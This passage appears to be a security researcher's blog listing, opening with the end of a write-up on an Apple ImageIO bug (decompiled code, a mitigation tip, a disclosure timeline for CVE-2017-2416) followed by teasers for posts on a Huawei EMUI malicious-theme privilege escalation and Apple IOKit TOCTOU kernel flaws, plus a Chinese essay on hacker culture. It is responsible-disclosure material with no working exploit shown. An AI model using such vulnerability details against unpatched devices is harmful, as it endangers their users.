  a1->field_38 = v9;
  a1->field_3c = v8;
  a1->field_30 = v7;
  v12 = *(_QWORD *)(imageplus + 32);
  a1->field_18 = v12;
  imageread = *(IIOImageRead **)(v12 + 32);
  if ( imageread )
  {
    v10->field_c8 = *((_BYTE *)imageread + 64);
    v10->field_20 = (__int64)imageread;
    v14 = IIOImageRead::getSize(imageread);
  }
  else
  {
    v10->field_c8 = 0;
    v10->field_20 = 0LL;
    v14 = 0LL;
  }

Removing the usage of IIOImageReadSession in this function. Is it better than fixing the size change? Dunno.

Custom fix?

For app developers who want to mitigate this issue for users staying at old versions, I suggest check for negative width and height before passing to NSImage.

I believe this vulnerability is introduced in iOS 10, so iOS 9/OSX 10.11 users are not affected (how many ppls are still using iOS9? Raise your hands). For iOS 10/macOS 10.12 users, please upgrade to 10.3/10.12.4 for the official fix.

Timeline

  • 2017.1.10 Initial discovery
  • 2017.1.16 Report to Apple
  • 2017.1.24 Apple responds on they are working on a fix
  • 2017.3.23 CVE-2017-2416 assigned
  • 2017.3.28 Advisory published at https://support.apple.com/en-us/HT207617
  • 2017.4.6 Public disclosure

江湖夜话之消失的蓝光

这黑客的江湖,和古代的武林,似乎没什么两样。地铁上不起眼的一个胡子拉碴背包客,却可能掌握着屠龙倚天般的0day;在黑夜中行走的魔教众,暗暗操控着庞大的派系,靠着低微地伎俩却能吸噬着一个又一个受害人的血肉;名门正派林立,举旗匡扶正义,却往往陷于内斗之中而不可自拔,为了一两个微末的镖单自我吹捧或互相拆台,骂的你死我活,徒增笑柄。大辽往往技术了得,又有江湖修众做起了搬工的活计,从那大辽被墙掉的地方运来江湖内,当作自己的秘籍吹嘘,引来声声喝彩,讨几个赏钱。

处身于这纷乱的江湖,不少人却只想有一片静静的地方,修炼心法,领悟计算机科学的奥妙,与Linus同游,与Gates共悟,与Rubin(注:不是Robin)同赏。

修炼之法,不外乎阅读古代或者大辽传入的真经,以及实操真练。如The art of software assessment, Understanding the Linux Kernel, Windows InternalsA Guide to kernel exploitation, 抑或是一个叫Phrack的布经之地偶尔贴出的口诀,都是修众必读之经。自我感觉内力到达一定程度之后,便去练习地打小怪,比较出名的包括名为pwnable.kr的擂台,听说是上古神童Lokihart出道之地。大辽众喜分享,咕果修道院一名为Project Zero的修道团每每会放出真经注解,亦会万人空巷前去围观。修炼到一定程度之后,就会下山去打一个叫CTF的系列怪,最高级别叫DEFCON CTF,每年都有一批修众远渡重洋去那拉斯维加斯挑战,与卡耐基梅隆修院之PPP门派和宇宙棒子国之DEFKOR门派过招。

Continue reading

A theme pack to system privilege

Update: Huawei has assigned CVE-2017-2692, CVE-2017-2693

(中文版见 https://blog.flanker017.me/a-theme-to-system-in-emui/)

Download this theme pack, pwned with system shell?

Android users may be familiar with theme packs, which is a major advantage for Android over iOS. Two years ago we conducted a cooperation project with Huawei for digging vulnerabilities in Huawei’s EMUI3.1 and 4.0, with some vulnerabilities discovered, which of course had already been reported during the cooperation project and fixed.

Some of these bugs are quite interesting though, so I’d like to share it in a series of blogs. This blog will cover a vulnerability which can be initiated from both local and remote to get system privilege via malicious theme packs. If you download and install such a specially-crafted malicious theme from a third party channel, you will get pwned.

Continue reading

A theme to system in EMUI

装了这个主题包,就被拿system shell?

各位Android用户一定对主题包不陌生,这应该是Android相对于iOS可定制化的一大优势。 说到主题包,各位会想到什么?这个?

哦不对,跑题了。那这个?

好了又跑题了,下面是正文。两年前,我们对EMUI3.1&4.0做了一次漏洞挖掘合作项目,发现了一些问题,都已通过该合作项目报给了华为并得到了修复。 其中有些漏洞的挖掘和利用过程还是很有意思的,在这里总结成系列文章分享给大家。下面介绍的是一个通过下载安装恶意主题远程和本地均可以发起攻击拿到system权限的漏洞。在第三方渠道下载安装了这样一个特定构造的主题,手机就会被拿到system权限。

Continue reading

Racing for everyone: descriptor describes TOCTOU,苹果iOS/OSX内核中的新型漏洞

Racing for everyone: descriptor describes TOCTOU,苹果iOS/OSX内核中的新型漏洞

这篇文章是关于我们在苹果内核IOKit驱动中找到的一类新攻击面。之前写了个IDA脚本做了个简单扫描,发现了至少四个驱动都存在这类问题并报告给了苹果,苹果分配了3个CVE(CVE-2016-7620/4/5), 见 https://support.apple.com/kb/HT207423。 后来我和苹果的安全工程师聊天,他们告诉我他们根据这个pattern修复了十多个漏洞,包括iOS内核中多个可以利用的漏洞。

为了能更清楚地描述这类新漏洞,我们先来复习下IOKit的基础知识。

Continue reading

Racing for everyone: descriptor describes TOCTOU in Apple's core

Racing for everyone: descriptor describes TOCTOU in Apple’s core

This blog post is about a new type of vulnerabilities in IOKit I discovered and submitted to Apple in 2016. I did a brief scan using a IDA script on MacOS and found at least four bugs with 3 CVEs assigned (CVE-2016-7620/4/5), see https://support.apple.com/kb/HT207423. I was told afterwards that there’re even more issues of this type on iOS’/OSX’s IOKit drivers and fortunately Apple fixed them also.

Continue reading